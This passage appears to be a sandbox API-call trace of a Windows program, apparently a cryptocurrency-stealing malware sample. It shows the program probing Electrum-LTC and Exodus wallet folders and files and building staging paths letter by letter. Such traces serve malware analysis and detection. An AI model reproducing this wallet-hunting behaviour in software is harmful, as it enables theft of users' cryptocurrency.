[0055.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=60, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60
[0055.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x78) returned 0x6704e8
[0055.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=60, lpWideCharStr=0x6704e8, cchWideChar=60 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 60
[0055.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.089] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum-LTC\\wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum-ltc\\wallets")) returned 0xffffffff
[0055.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.089] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.089] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.089] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.089] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.089] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.089] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.089] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.089] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.089] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.090] lstrcatA (in: lpString1="\\Wallets\\", lpString2="ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC"
[0055.090] lstrcatA (in: lpString1="\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\"
[0055.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67dae8
[0055.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67dae8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dae8 | out: hHeap=0x670000) returned 1
[0055.090] lstrcatA (in: lpString1="\\Wallets\\ElectrumLTC\\", lpString2="" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\"
[0055.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da88
[0055.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da88, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da88 | out: hHeap=0x670000) returned 1
[0055.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.090] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum-LTC\\wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum-ltc\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67dad8
[0055.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67dad8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dad8 | out: hHeap=0x670000) returned 1
[0055.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.090] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\ElectrumLTC\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\"
[0055.090] lstrlenA (lpString="/Wallets/ElectrumLTC/") returned 21
[0055.090] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum-LTC\\wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum-ltc\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db98 | out: hHeap=0x670000) returned 1
[0055.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.091] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db50
[0055.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x67db88
[0055.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=62, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62
[0055.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7c) returned 0x6704a0
[0055.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=62, lpWideCharStr=0x6704a0, cchWideChar=62 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.conf.json") returned 62
[0055.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.092] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.conf.json" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\exodus.conf.json"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0xffffffff
[0055.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db50
[0055.092] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0
[0055.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db88 | out: hHeap=0x670000) returned 1
[0055.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67dab8
[0055.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67dab8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dab8 | out: hHeap=0x670000) returned 1
[0055.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db78
[0055.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67db08
[0055.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67db08, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db08 | out: hHeap=0x670000) returned 1
[0055.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=47, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47
[0055.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5e) returned 0x6704a0
[0055.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=47, lpWideCharStr=0x6704a0, cchWideChar=47 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P") returned 47
[0055.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x670508
[0055.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.093] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\p")) returned 0xffffffff
[0055.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670508 | out: hHeap=0x670000) returned 1
[0055.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.093] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.093] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.093] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.093] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.093] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.093] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.093] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.093] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.093] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.093] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus"
[0055.093] lstrcatA (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\"
[0055.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67dac8
[0055.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67dac8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dac8 | out: hHeap=0x670000) returned 1
[0055.093] lstrcatA (in: lpString1="\\Wallets\\Exodus\\", lpString2="P" | out: lpString1="\\Wallets\\Exodus\\P") returned="\\Wallets\\Exodus\\P"
[0055.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67daa8
[0055.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67daa8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daa8 | out: hHeap=0x670000) returned 1
[0055.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.094] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d9a8
[0055.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d9a8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0055.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.094] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Exodus\\P" | out: lpString1="\\Wallets\\Exodus\\P") returned="\\Wallets\\Exodus\\P"
[0055.094] lstrlenA (lpString="/Wallets/Exodus/P") returned 17
[0055.094] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.095] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db50
[0055.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x67db88
[0055.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63
[0055.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7e) returned 0x6704a0
[0055.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db88, cbMultiByte=63, lpWideCharStr=0x6704a0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\window-state.json") returned 63
[0055.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.096] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\window-state.json" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\window-state.json"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0xffffffff
[0055.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db50
[0055.096] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0
[0055.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db88 | out: hHeap=0x670000) returned 1
[0055.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da38
[0055.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67da38, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da38 | out: hHeap=0x670000) returned 1
[0055.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db78
[0055.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da58
[0055.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67da58, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da58 | out: hHeap=0x670000) returned 1
[0055.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=47, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47
[0055.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5e) returned 0x6704a0
[0055.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67dbb0, cbMultiByte=47, lpWideCharStr=0x6704a0, cchWideChar=47 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P") returned 47
[0055.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x670508
[0055.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.097] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\p")) returned 0xffffffff
[0055.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670508 | out: hHeap=0x670000) returned 1
[0055.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.097] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.097] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.097] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.097] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.097] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.097] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.097] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.097] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.097] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.097] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus"
[0055.097] lstrcatA (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\"
[0055.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67dac8
[0055.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67dac8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dac8 | out: hHeap=0x670000) returned 1
[0055.097] lstrcatA (in: lpString1="\\Wallets\\Exodus\\", lpString2="P" | out: lpString1="\\Wallets\\Exodus\\P") returned="\\Wallets\\Exodus\\P"
[0055.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d958
[0055.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d958, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d958 | out: hHeap=0x670000) returned 1
